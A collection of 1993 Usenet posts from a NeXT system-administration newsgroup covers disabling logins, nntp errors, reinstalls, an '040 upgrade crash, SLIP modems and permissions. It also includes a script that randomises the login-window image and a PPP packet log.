- Thomas L. Creed, The Skeptical Inquirer, Vol. XII No. 2, pg. 215
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From: serge@dadofsam.Princeton.EDU
Subject: Re: How to disable logins on one machine? Help!!
Message-ID: <1993Feb12.200015.7997@Princeton.EDU>
Originator: news@nimaster
Keywords: login disable
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References: <1993Feb10.181954.71127@slate.mines.colorado.edu>
Distribution: inlimited
Date: Fri, 12 Feb 1993 20:00:15 GMT
In article <1993Feb10.181954.71127@slate.mines.colorado.edu>
cartley@dix.Mines.Colorado.EDU (Craig Artley) writes:
> In article <C27KGs.uL@usenet.ucs.indiana.edu>
> francisr@stupid.ucs.indiana.edu (Rob Francis) writes:
> > In article <1993Feb4.192136.12447@thunder.mcrcim.mcgill.edu>
> hogan@boetius (Kharim Hogan) writes:
> > >
> > >Is it possible to disable network accounts on one machine?
> >
> > # A script to put *'s for everyone's passwd to niload on the servers
> > # to prevent login by unauthorized users
>
> That isn't enough, is it? Don't you also have to change the shell to
> something like /bin/sync or /bin/false? Otherwise, people could rlogin
> to the server via an entry in ~/.rhosts. [If an appropriate .rhosts
> entry is present, then the password is not checked.]
>
> --
> Craig Artley cartley@mines.colorado.edu (303) 273-3479
> Geophysics Dept., Colorado School of Mines, Golden, CO 80401
The problem is substantially harder than even this. You also have to stop
people using rsh to start up daemons that will sit and listen on a private port
and provide access that way (or someone could login once on the console, start
up a daemon, logout, then accee the machine via this daemon; or they could use
the "at" facility to call up their home machine, etc.). Disabling network
access is very difficult ... you need to put wrappers around all the inetd
stuff to limit telnet/rlogin access, and you need some way of preventing
anything other than "system" daemons from running (e.g., kill anything with a
uid greater than 100), and even that won't stop the determined hacker. Best
bet ... pull out the ethernet connector.
Serge J. Goldstein
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From: edmpb@fiol.uib.no (Per O. Bruvold)
Subject: SoftPC and Novell.
Message-ID: <1993Feb15.145515.6834@ulrik.uio.no>
Sender: news@ulrik.uio.no (Mr News)
Organization: University of Oslo
Date: Mon, 15 Feb 1993 14:55:15 GMT
Hello.
Is it possible from a NeXT to access a the CD-rom services (Medline) on a
Novell network? I guess we have to use SoftPC.
Per O. Bruvold
University of Bergen, Norway
bruvold@fiol.uib.no
From: zazula@soliton.physics.arizona.edu (Ralph Zazula)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
Subject: Re: Top
Message-ID: <1993Feb11.093722.21393@galileo.physics.arizona.edu>
Date: 11 Feb 93 09:37:22 GMT
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Organization: Pinnacle Research, Inc.
Hi -
I submitted a top-like application to the archives a while back.
It should be in a file named "tasks.tar.Z" in one of the source
directories. It works for me...
Ralph
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From: hwr@pilhuhn.ka.sub.org (Heiko W.Rupp)
Subject: Re: How to disable direct root login?
References: <1993Feb10.193145.16918@magnus.acs.ohio-state.edu>
Date: Mon, 15 Feb 1993 15:15:41 GMT
Organization: The Home of the Pilhuhn
Message-ID: <1993Feb15.151541.8167@pilhuhn.ka.sub.org>
szatezal@magnus.acs.ohio-state.edu (Shane M Zatezalo) writes:
>We want to be able to /only/ login directly as root on our
>server. How do we disable it on all the other machines?
>Does anyone know what do we have to change?
Just remove the 'secure' from the concerned ttys in /etc/tty and send
init a SIGHUP.
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This TOPS OFF my partygoing experience! Someone I DON'T LIKE
is talking to me about a HEART-WARMING European film..
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From: steved@bankone.com
Subject: nntp
Message-ID: <1993Feb15.164537.718@bankone.com>
Keywords: nntp, news
Sender: steved@bankone.com (Steve Dieringer)
Organization: Bank One, Columbus NA
Date: Mon, 15 Feb 1993 16:45:37 GMT
I'm trying to get nntp set up and I've finally been able to compile it without
error, but I get the following error to the console when I try to accept
articles:
Feb 15 11:22:36 bullwinkle nntpd[206]: dfree read() failed: Can't assign
requested address
Feb 15 11:22:36 bullwinkle nntpd[206]: dfree failed due to syscall error
Any suggestions?
Thanks,
Steve
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Newsgroups: comp.sys.next.sysadmin
From: steved@bankone.com
Subject: nntp problems
Message-ID: <1993Feb15.184528.889@bankone.com>
Keywords: nntp,news
Sender: steved@bankone.com (Steve Dieringer)
Organization: Bank One, Columbus NA
Date: Mon, 15 Feb 1993 18:45:28 GMT
I'm trying to get nntp set up and I've finally been able to compile it without
error, but I get the following error to the console when I try to accept
articles:
Feb 15 11:22:36 bullwinkle nntpd[206]: dfree read() failed: Can't assign
requested address
Feb 15 11:22:36 bullwinkle nntpd[206]: dfree failed due to syscall error
Any suggestions?
Thanks,
Steve
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(formerly steved@essex.com)
From: anstine@uniblab.sas.upenn.edu (David Anstine)
Newsgroups: comp.sys.next.sysadmin
Subject: Need to re-sys 3.0 machines
Message-ID: <109613@netnews.upenn.edu>
Date: 15 Feb 93 17:57:03 GMT
Sender: news@netnews.upenn.edu
Is there a way to re-install system software on a 3.0 machine without running
BuilDisk? Upgrade.app apparently won't work because it realizes the machine has
already been upgraded.
Reason: I did a net upgrade of ~15 machines, then found out my upgrade server
had some corrupt files. I would like to save the time it takes to archive each
disks local junk.
-dave
From: bizarre@clients-r-us.tamu.edu (Tom Swanner III)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: My NeXT color printer doesn't work! (follow-up)
Date: 15 Feb 1993 19:18:46 GMT
Organization: Texas A&M University, College Station, TX
Message-ID: <1loqamINNlg7@tamsun.tamu.edu>
Recently, I posted a plea for help with my new color printer. After trying it
on another more pristine machine and having it work correctly, I decided to
re-install NeXTStep 3.0 from scratch. The printer is now working correctly.
Thanks for your replies!
Have fun!
Tom Swanner III
bizarre@clients-r-us.tamu.edu
From: oly@emerson.physics.ubc.ca
Newsgroups: comp.sys.next.sysadmin
Subject: How to get Login Window to "bounce"
Date: 15 Feb 1993 19:21:17 GMT
Organization: The University of British Columbia
Distribution: world
Message-ID: <1loqfdINN646@iskut.ucs.ubc.ca>
Hi All,
How do I get the login panel to bounce around?
________________________________________________________
B.Olav Anderson
CyberSurfer
NeXT Mail Accepted--> e-mail oly@emerson.physics.ubc.ca
"The Years Teach Much What The Days Never Know"
R.W.Emerson
"The Essence of Being is Becoming"
Heraclitus
"How can a man be weak who dares to be at all?"
H.D.Thoreau
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From: wkwong@columbia.eng.ohio-state.edu (Waihon Andrew Kwong)
Subject: Re: How to get Login Window to "bounce"
Message-ID: <1993Feb15.201351.17275@ee.eng.ohio-state.edu>
Sender: news@ee.eng.ohio-state.edu
Organization: The Ohio State University Dept of Electrical Engineering
References: <1loqfdINN646@iskut.ucs.ubc.ca>
Date: Mon, 15 Feb 1993 20:13:51 GMT
In article <1loqfdINN646@iskut.ucs.ubc.ca> oly@emerson.physics.ubc.ca writes:
>Hi All,
> How do I get the login panel to bounce around?
>________________________________________________________
>B.Olav Anderson
>CyberSurfer
>NeXT Mail Accepted--> e-mail oly@emerson.physics.ubc.ca
>
>"The Years Teach Much What The Days Never Know"
> R.W.Emerson
>
>"The Essence of Being is Becoming"
> Heraclitus
>
>"How can a man be weak who dares to be at all?"
> H.D.Thoreau
Do the following as root: (in terminal)
"dwrite loginwindow MoveWhenIdle YES"
Hope this help,
Andy
From: matthews@oberon.umd.edu (Mike Matthews)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NetInfo and DNS
Message-ID: <18494@umd5.umd.edu>
Date: 15 Feb 93 21:17:53 GMT
References: <18484@umd5.umd.edu>
Sender: news@umd5.umd.edu
Organization: Los Alamos National Laboratory, NM
In article <18484@umd5.umd.edu> matthews@oberon.umd.edu (Mike Matthews) writes:
>Annnd, this may or may not be directly the cause of it, but it seems that a
>couple of NetInfo databases that were running on a particular machine were,
>after some communications failures, totally blown away.
False alarm. The guy was looking in the wrong place I guess, but the data
was still there.
What made it even more interesting is that changing the master property to
point to a fully qualified hostname was having a fit of multiple personality
(I was changing it to a different host, too). The update would work, I'd
kill the NetInfo processes in question, fire them up, and the update would go
away. Then it would come back and haunt me.
But I finally banged it into submission.
------
Mike Matthews, matthews@oberon.umd.edu (NeXTmail accepted)
------
If you pick up a starving dog and make him prosperous, he will not bite
you. This is the principal difference between a dog and a man.
-- Mark Twain
From: cfa0802@tamuts.tamu.edu (Colin Allen)
Newsgroups: comp.sys.next.sysadmin
Subject: Problem upgrading to 040
Date: 15 Feb 1993 21:44:30 GMT
Organization: Texas A&M University, College Station
Distribution: world
Message-ID: <1lp2ruINNba0@tamsun.tamu.edu>
I must be one of the last people in the world to upgrade to an '040
processor in my cube, but better late than never. However, it is not
going smoothly. Anyone who can explain what the problem is here,
please let me know! (I have had some contact with NeXT but they are
on holiday today for Presidents' Day and so far their suggestions have
caused me to spend 500 additional dollars with no results.)
The system boots up and is alive on the network but has only
a grey screen and (movable) mouse arrow on the screen. After an hour
or so, it crashes and put this message in the nmi monitor:
panic: (CPU 0) zalloc
While it is alive I can telnet from another machine and I think I know
why the system is crashing. The /private/adm/messages file is getting
the following line added to it repetitively:
syslog: loginwindow: Window Server service already registered
If as root I try to execute loginwindow from the shell it comes back
with a Bus Error message.
So, it looks as though the system crash is caused by repeated
attempts to start loginwindow causing the messages file to grow until
the disk runs out of space. (That would explain the memory allocation
problem which is what I presume zalloc indicates.)
NeXT first suggested taking the battery out for half an hour, but
this did not work. They then suggested that my old RAM was too slow so
I replaced it with new faster memory, still with no success. To me,
it sounds like a software error, no?
Why would the Window Server think it already is providing a
loginwindow service?
Thanks.
Colin Allen e343ca@tamuts.tamu.edu
Department of Philosophy colin@snaefell.tamu.edu
Texas A&M University
College Station, TX 77843-4237 (409) 845-3606
From: jkeenan@next.com (Joe Keenan)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: ** The currently logged in person owns all external files **
Message-ID: <6806@rosie.NeXT.COM>
Date: 15 Feb 93 21:33:55 GMT
References: <1993Feb11.182122.18353@serval.net.wsu.edu>
Sender: news@NeXT.COM
In article <1993Feb11.182122.18353@serval.net.wsu.edu>
jblatt@wsuaix.csc.wsu.edu (Jeff Blatt - Forest Service) writes:
> I didn't want this. So I followed the proceedure in the SysAdmin
> manual to add an entry in my /etc/fstab file. This also went smoothly
> except it didn't solve the problem.
The procedure in the 3.0 SysAdmin manual (pg 185 of hardcopy) has a typo. The
edited fstab entry under step 4 should NOT have the 'noauto' parameter. Take
that out of your new fstab entry and it should work.
Newsgroups: comp.sys.next.sysadmin
From: john@oceania.com (John Robison)
Subject: SLIP and Telebit PEP Modems
Message-ID: <C2IFH3.M4K@oceania.com>
Sender: john@oceania.com (John Robison)
Organization: Oceania Health Care Systems
References: <MfRw_cb0BwyOBgxm9b@transarc.com>
Distribution: na
Date: Mon, 15 Feb 1993 21:53:24 GMT
Ward Travis writes:
>
> Voila. PEP compression was getting in the way. Perhaps it's
> fragmenting the IP packets, inducing timeouts in the router, and the
> router is just dropping the shards on the floor (as it should?). Who
> knows.
>
> I suspect the moral here is, don't use PEP compression for SL/IP
> lines. Be happy with just PEP (which works reliably for me). If this is
> old news, please forgive the repetition.
>
I can second this. We tried two Telebits (T2500) - with and
without PEP. With PEP - they went about 4x slower than without.
later,
John
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What I say has absolutely nothing to do with my employer.
From: pcwood@astro.ocis.temple.edu (Paul Wood)
Newsgroups: comp.sys.next.sysadmin
Subject: echo login/passwd problem
Summary: login and password echoing
Keywords: telnet, login, echo
Message-ID: <1993Feb15.215802.9278@cronkite.ocis.temple.edu>
Date: 15 Feb 93 21:58:02 GMT
Sender: news@cronkite.ocis.temple.edu (NetWork News (readnews))
Organization: Temple University
Our next cube running 3.0 has a problem of echoing login and password when
telnetting to anywhere. We first thought it might be a security breach but
can find no evidence of tampering. Any ideas?
example:
% telnet somewhere.else.edu
login: joe
joe <-- shouldnt echo
password: pizza <-- shouldnt echo
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From: holschdm@nextwork.rose-hulman.edu (David M. Holscher)
Newsgroups: comp.sys.next.sysadmin
Subject: Randomizing the loginwindow tiff
Date: 15 Feb 1993 23:34:58 GMT
Organization: Computer Science Department at Rose-Hulman
Distribution: world
Message-ID: <1lp9b2INNc4v@master.cs.rose-hulman.edu>
Hi.
After staring at the same loginwindow for a few weeks I grew tires of it
and replaced it. I found myself doing this often enough - when I got the
idea to randomize the loginwindow tiff. In case you are interested here is
how to do it.
First you will need a program or such like the following (I called the
executable randa and put it in /usr/local/bin):
/*
* randa.c
* Program to pick an argument at random.
*/
#include <libc.h>
#include <stdio.h>
#include <time.h>
void main(int argc, char **argv)
{
srandom(time(NULL));
if(argc < 2)
{
puts("usage: randa arg1 [arg2] [arg3] ... [argn]");
puts("returns an argument at random");
}
else
{
puts(argv[(random() % (argc - 1)) + 1]);
}
}
Then you will need a LogoutHook which is something like the following (I
called this file LogoutHook and put it in /usr/local/etc/):
#!/bin/csh
## I'm getting a list of files using ls in a directory
## full of logintiffs. You can do it anyway you want.
set files=`ls /usr/local/lib/logintiffs/*.tiff`
/usr/bin/dwrite loginwindow ImageFile \
`/usr/local/bin/randa $files`
##
## We need a way to restart the loginwindow on logout
## This is cheesy, but I can't think of anything else.
##
kill -9 `/bin/ps -aux | /bin/grep WindowServer | \
/bin/grep -v grep | /bin/awk '{print $2}'`
Now you will need to do the following dwrite as root:
dwrite loginwindow LogoutHook /usr/local/etc/LogoutHook
Now all you need to do is get a directory full of loginwindow tiffs (I
called mine /usr/local/lib/logintiffs).
Enjoy,
David Holscher
B.T.W. If anyone has a better way of starting loginwindow let me know.
Thanks.
From: zazula@soliton.physics.arizona.edu (Ralph Zazula)
Newsgroups: comp.sys.next.sysadmin
Subject: file permissions
Message-ID: <1993Feb14.220334.15434@galileo.physics.arizona.edu>
Date: 14 Feb 93 22:03:34 GMT
Sender: zazula@pri.com
Organization: Pinnacle Research, Inc.
Hi -
I would like for files saved by multiple users in a particular directory
to all have the same set of permissions. Basically, this directory is
shared by users in the same group. So, I'd like to have the permissions
set to group-read/write. What seems to happen is each user saves the file
with whatever permissions they have set in Preferences.
Is there any way to force certain permissions to be set when saving into a
directory? I thought there was something I could do to the directory
entry itself to make this happen...
Thanks in advance,
Ralph
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Pinnacle Research, Inc.
Productivity and Creativity applications for NeXTSTEP
Custom Programming
zazula@pri.com (NeXT Mail)
(602)529-1135
Newsgroups: comp.sys.next.sysadmin
From: outland!jmast@ms.uky.edu (John A. Mastrolia)
Subject: Login Screen Dimmer?
Message-ID: <C2J3Lz.48F@outland.uucp>
Sender: jmast@outland.uucp (John A. Mastrolia)
Organization: Kentucky NeXT Users Group (KYNUG)
Date: Tue, 16 Feb 1993 06:34:47 GMT
I'd like to have my login screen dim to black or as close to it as possible.
The screen diming the OS provides does not black the screen to an acceptable
level. Anyone have a suggestion on software or OS options to cure a glowing
screen through all hours of the night?
Thanks in advance.
--
-------------------
John A. Mastrolia (Politically, Fashionably, and Aerodynamically Incorrect)
outland!jmast@ms.uky.edu
From: rmyers@dec5200.acs.uci.edu (Richard Myers)
Subject: Connecting to NetWare
Message-ID: <2B812170.4031@news.service.uci.edu>
Newsgroups: comp.sys.next.sysadmin
Organization: University of California, Irvine
Date: 16 Feb 93 17:16:32 GMT
I intend to connect the NeXT at work to the Novell FileServer and have
a few questions:
1. Can I move/rename/create/delete/edit files on the Novell system, or just
'see' them?
2. Has anyone had any good/bad experiences using 10baseT to do the job
(v. ethernet).
3. What kind of performance hit can I expect to see on the server and the
NeXT?
4. How tricky is the whole thing to set up?
Please reply via mail,
Thanks much,
Kurt
From: rmyers@dec5200.acs.uci.edu (Richard Myers)
Subject: Compiling from CD...
Message-ID: <2B8121ED.4062@news.service.uci.edu>
Newsgroups: comp.sys.next.sysadmin
Organization: University of California, Irvine
Date: 16 Feb 93 17:18:37 GMT
References: <2B812170.4031@news.service.uci.edu>
YES I WANT TO USE THE COMPILER AS-IS ON THE CD TO COMPILE SOME CODE.
Just a few packages, and just once each. Yes I have time, and yes I
can wait. My question is:
What links do I need to set up to compile from CD?
Please reply via mail,
Kurt
Newsgroups: comp.sys.next.sysadmin
From: lindner@danzig.micro.umn.edu (Paul Lindner)
Subject: Reboot after a crash? How?
Message-ID: <C2K0Fw.LAH@news.cis.umn.edu>
Keywords: reboot crash nextstep 2.2
Sender: news@news.cis.umn.edu (Usenet News Administration)
Organization: University of Minnesota, Minneapolis
Date: Tue, 16 Feb 1993 18:23:41 GMT
We have some NeXTstations that get the crap beaten out of them network
wise... Eventually they run out of mbufs or the swapfile goes outta
control.
The result is a crash. Unfortunately NeXTstep doesn't automatically
reboot. This requires human intervention.. (Nothing like getting
beeped on valentines day during dinner, so romantic :-)
Any way around this? I checked the ROM monitor to no avail...
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| | Computer & Information Services | is good for the sake
| Gophermaster | University of Minnesota | of comparision.
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Newsgroups: comp.sys.next.sysadmin
From: mehta-anand@yale.edu (Anand R. Mehta)
Subject: nameserver help needed
Message-ID: <mehta-anand-160293145922@ccl-kstar-node.net.yale.edu>
Followup-To: comp.sys.next.sysadmin
Sender: news@news.yale.edu (USENET News System)
Organization: Academic Computing Services
Date: Tue, 16 Feb 1993 20:10:02 GMT
Hi, I have a NeXTturbo Mono that I am trying to connect to the internet via
ppp.
The machine works well with all hosts that are in the hosts files (and
niloaded), but if for some reason name resolution is called for, the ppp
connection seems to grind to a screeming halt; a few minutes later it
becomes 'functional' again, until the same thing occurs almost immediately.
My resolv.conf file is in order, and nslookup does work with the specified
IP address. For example, nslookup mit.edu 130.132.1.9 works, while ping
mit.edu will not. I've enclosed the ppp log, so if anyone can help, I'd be
greatful.
-Anand
Academic Computing Services
Yale University
mehta-anand@yale.edu
2/16-11:12:04-159 udp 130.132.21.139/2603 -> 130.132.1.9/domain 66
2/16-11:12:04-159 udp 130.132.21.139/2600 <- 130.132.1.9/domain 141
2/16-11:12:04-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56
2/16-11:12:05-159 udp 130.132.21.139/2600 <- 130.132.1.9/domain 141
2/16-11:12:05-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56
2/16-11:12:05-159 udp 130.132.21.139/2600 <- 130.132.1.10/domain 141
2/16-11:12:05-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56
2/16-11:12:05-159 udp 130.132.21.139/2600 <- 130.132.1.11/domain 141
2/16-11:12:05-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56
2/16-11:12:05-159 udp 130.132.21.139/2600 <- 130.132.1.9/domain 141
2/16-11:12:05-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56
2/16-11:12:05-159 udp 130.132.21.139/2600 <- 130.132.1.10/domain 141
2/16-11:12:05-159 udp 130.132.21.139/2603 -> 130.132.1.10/domain 66
2/16-11:12:05-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56
2/16-11:12:05-159 udp 130.132.21.139/2600 <- 130.132.1.11/domain 141
2/16-11:12:05-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56
2/16-11:12:05-159 udp 130.132.21.139/2601 <- 130.132.1.9/domain 227
2/16-11:12:05-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56
2/16-11:12:05-159 udp 130.132.21.139/2601 <- 130.132.1.10/domain 231
2/16-11:12:05-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56
2/16-11:12:06-159 udp 130.132.21.139/2601 <- 130.132.1.9/domain 227
2/16-11:12:06-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56
2/16-11:12:06-159 udp 130.132.21.139/2601 <- 130.132.1.11/domain 227
2/16-11:12:06-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56
2/16-11:12:06-159 udp 130.132.21.139/2601 <- 130.132.1.10/domain 231
2/16-11:12:06-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56
2/16-11:12:06-159 udp 130.132.21.139/2601 <- 130.132.1.11/domain 231
2/16-11:12:06-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56
2/16-11:12:06-159 udp 130.132.21.139/2601 <- 130.132.1.9/domain 227
2/16-11:12:06-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56
2/16-11:12:06-159 udp 130.132.21.139/2603 -> 130.132.1.11/domain 66
2/16-11:12:06-159 udp 130.132.21.139/2601 <- 130.132.1.10/domain 231
2/16-11:12:06-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56
2/16-11:12:06-159 udp 130.132.21.139/2601 <- 130.132.1.11/domain 231
2/16-11:12:06-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56
2/16-11:12:07-159 udp 130.132.21.139/2601 <- 130.132.1.9/domain 227
2/16-11:12:07-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56
2/16-11:12:07-159 udp 130.132.21.139/2601 <- 130.132.1.10/domain 231
2/16-11:12:07-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56
2/16-11:12:07-159 udp 130.132.21.139/2601 <- 130.132.1.11/domain 231
2/16-11:12:07-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56
2/16-11:12:07-159 udp 130.132.21.139/2603 <- 130.132.1.9/domain 118
2/16-11:12:07-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56
2/16-11:12:07-159 udp 130.132.21.139/2603 <- 130.132.1.10/domain 118
2/16-11:12:07-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56
2/16-11:12:07-159 udp 130.132.21.139/2603 <- 130.132.1.11/domain 118
2/16-11:13:59-159 udp 130.132.21.139/2604 -> 130.132.1.9/domain 79
2/16-11:13:59-159 tcp 130.132.21.139/2604 -> 130.132.20.178/telnet 41 (c)
2/16-11:13:59-159 tcp 130.132.21.139/2604 -> 130.132.20.178/telnet 45 (u)
2/16-11:13:59-159 tcp 130.132.21.139/2604 -> 130.132.20.178/telnet 47 (u)
2/16-11:13:59-159 udp 130.132.21.139/2604 -> 130.132.1.10/domain 79
2/16-11:13:59-159 udp 130.132.21.139/2604 -> 130.132.1.11/domain 79
2/16-11:13:59-159 udp 130.132.21.139/2604 -> 130.132.1.9/domain 79
2/16-11:13:59-159 udp 130.132.21.139/2604 -> 130.132.1.10/domain 79
2/16-11:13:59-159 udp 130.132.21.139/2604 -> 130.132.1.11/domain 79
2/16-11:13:59-159 udp 130.132.21.139/2604 -> 130.132.1.9/domain 79
2/16-11:13:59-159 udp 130.132.21.139/2604 -> 130.132.1.10/domain 79
2/16-11:13:59-159 udp 130.132.21.139/2604 -> 130.132.1.11/domain 79
2/16-11:13:59-159 udp 130.132.21.139/2604 -> 130.132.1.9/domain 79
2/16-11:13:59-159 udp 130.132.21.139/2604 -> 130.132.1.10/domain 79
2/16-11:13:59-159 udp 130.132.21.139/2604 -> 130.132.1.11/domain 79
2/16-11:13:59-159 udp 130.132.21.139/2605 -> 130.132.1.9/domain 66
2/16-11:13:59-159 udp 130.132.21.139/2605 -> 130.132.1.10/domain 66
2/16-11:13:59-159 udp 130.132.21.139/2605 -> 130.132.1.11/domain 66
2/16-11:13:59-159 udp 130.132.21.139/2605 -> 130.132.1.9/domain 66
2/16-11:13:59-159 udp 130.132.21.139/2605 -> 130.132.1.10/domain 66
2/16-11:13:59-159 udp 130.132.21.139/2605 -> 130.132.1.11/domain 66
2/16-11:13:59-159 udp 130.132.21.139/2605 -> 130.132.1.9/domain 66
2/16-11:13:59-159 udp 130.132.21.139/2605 -> 130.132.1.10/domain 66
2/16-11:13:59-159 udp 130.132.21.139/2605 -> 130.132.1.11/domain 66
2/16-11:13:59-159 udp 130.132.21.139/2605 -> 130.132.1.9/domain 66
2/16-11:13:59-159 udp 130.132.21.139/2605 -> 130.132.1.10/domain 66
2/16-11:13:59-159 udp 130.132.21.139/2605 -> 130.132.1.11/domain 66
2/16-11:14:00-159 udp 130.132.21.139/2604 <- 130.132.1.9/domain 154
2/16-11:14:00-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56
2/16-11:14:00-159 tcp 130.132.21.139/2604 <- 130.132.20.178/telnet 41 (c)
2/16-11:14:00-159 tcp 130.132.21.139/2604 -> 130.132.20.178/telnet 40 (c)
2/16-11:14:00-159 tcp 130.132.21.139/2604 <- 130.132.20.178/telnet 83 (c)
2/16-11:14:00-159 tcp 130.132.21.139/2604 -> 130.132.20.178/telnet 40 (c)
2/16-11:14:01-159 udp 130.132.21.139/2604 <- 130.132.1.10/domain 154
2/16-11:14:01-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56
2/16-11:14:01-159 udp 130.132.21.139/2604 <- 130.132.1.11/domain 154
2/16-11:14:01-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56
2/16-11:14:01-159 tcp 130.132.21.139/2604 <- 130.132.20.178/telnet 56 (c)
2/16-11:14:01-159 udp 130.132.21.139/2604 <- 130.132.1.9/domain 154
2/16-11:14:01-159 tcp 130.132.21.139/2604 -> 130.132.20.178/telnet 40 (c)
2/16-11:14:01-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56
2/16-11:14:01-159 udp 130.132.21.139/2604 <- 130.132.1.10/domain 154
2/16-11:14:01-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56
2/16-11:14:01-159 udp 130.132.21.139/2604 <- 130.132.1.11/domain 154
2/16-11:14:01-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56
2/16-11:14:01-159 udp 130.132.21.139/2604 <- 130.132.1.9/domain 154
2/16-11:14:01-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56
2/16-11:14:01-159 udp 130.132.21.139/2604 <- 130.132.1.10/domain 154
2/16-11:14:01-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56
2/16-11:14:01-159 udp 130.132.21.139/2604 <- 130.132.1.11/domain 154
2/16-11:14:01-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56
2/16-11:14:02-159 udp 130.132.21.139/2604 <- 130.132.1.9/domain 154
2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56
2/16-11:14:02-159 udp 130.132.21.139/2604 <- 130.132.1.10/domain 154
2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56
2/16-11:14:02-159 udp 130.132.21.139/2604 <- 130.132.1.11/domain 154
2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56
2/16-11:14:02-159 udp 130.132.21.139/2605 <- 130.132.1.9/domain 82
2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56
2/16-11:14:02-159 udp 130.132.21.139/2605 <- 130.132.1.10/domain 82
2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56
2/16-11:14:02-159 udp 130.132.21.139/2605 <- 130.132.1.11/domain 82
2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56
2/16-11:14:02-159 udp 130.132.21.139/2605 <- 130.132.1.9/domain 82
2/16-11:14:02-159 udp 130.132.21.139/2605 <- 130.132.1.10/domain 82
2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56
2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56
2/16-11:14:02-159 udp 130.132.21.139/2605 <- 130.132.1.11/domain 82
2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56
2/16-11:14:02-159 udp 130.132.21.139/2605 <- 130.132.1.9/domain 82
2/16-11:14:02-159 udp 130.132.21.139/2605 <- 130.132.1.10/domain 82
2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56
2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56
2/16-11:14:02-159 udp 130.132.21.139/2605 <- 130.132.1.11/domain 82
2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56
2/16-11:14:02-159 udp 130.132.21.139/2605 <- 130.132.1.9/domain 82
2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.9 56
2/16-11:14:02-159 udp 130.132.21.139/2605 <- 130.132.1.10/domain 82
2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.10 56
2/16-11:14:02-159 udp 130.132.21.139/2605 <- 130.132.1.11/domain 82
2/16-11:14:02-159 3/3/icmp 130.132.21.139 -> 130.132.1.11 56
2/16-11:14:02-159 tcp 130.132.21.139/2604 <- 130.132.20.178/telnet 100 (u)
2/16-11:14:02-159 tcp 130.132.21.139/2604 -> 130.132.20.178/telnet 40 (u)
2/16-11:14:24-159 udp 130.132.21.139/2606 -> 130.132.1.9/domain 70
2/16-11:14:25-159 udp 130.132.21.139/2606 <- 130.132.1.9/domain 102
2/16-11:14:25-159 udp 130.132.21.139/2607 -> 130.132.1.9/domain 66
2/16-11:14:25-159 udp 130.132.21.139/2607 <- 130.132.1.9/domain 141
2/16-11:14:25-159 udp 130.132.21.139/2608 -> 130.132.1.9/domain 62
2/16-11:14:26-159 udp 130.132.21.139/2608 <- 130.132.1.9/domain 116
2/16-11:14:26-159 udp 130.132.21.139/2609 -> 130.132.1.9/domain 53
2/16-11:14:26-159 udp 130.132.21.139/2609 <- 130.132.1.9/domain 227
2/16-11:14:33-159 tcp 130.132.21.139/2604 -> 130.132.20.178/telnet 42 (c)
2/16-11:14:59-159 tcp 130.132.21.139/2604 -> 130.132.20.178/telnet 46 (u)
2/16-11:15:10-159 udp 130.132.21.139/2610 -> 130.132.1.10/domain 71
2/16-11:15:11-159 udp 130.132.21.139/2610 <- 130.132.1.10/domain 103
2/16-11:15:11-159 udp 130.132.21.139/2611 -> 130.132.1.10/domain 66
2/16-11:15:11-159 udp 130.132.21.139/2611 <- 130.132.1.10/domain 141
2/16-11:15:11-159 udp 130.132.21.139/2612 -> 130.132.1.10/domain 62
2/16-11:15:16-159 udp 130.132.21.139/2612 -> 130.132.1.10/domain 62
2/16-11:15:16-159 udp 130.132.21.139/2612 <- 130.132.1.10/domain 116
2/16-11:15:16-159 udp 130.132.21.139/2613 -> 130.132.1.10/domain 53
2/16-11:15:17-159 udp 130.132.21.139/2613 <- 130.132.1.10/domain 231
2/16-11:15:52-159 tcp 130.132.21.139/2604 -> 130.132.20.178/telnet 46 (u)
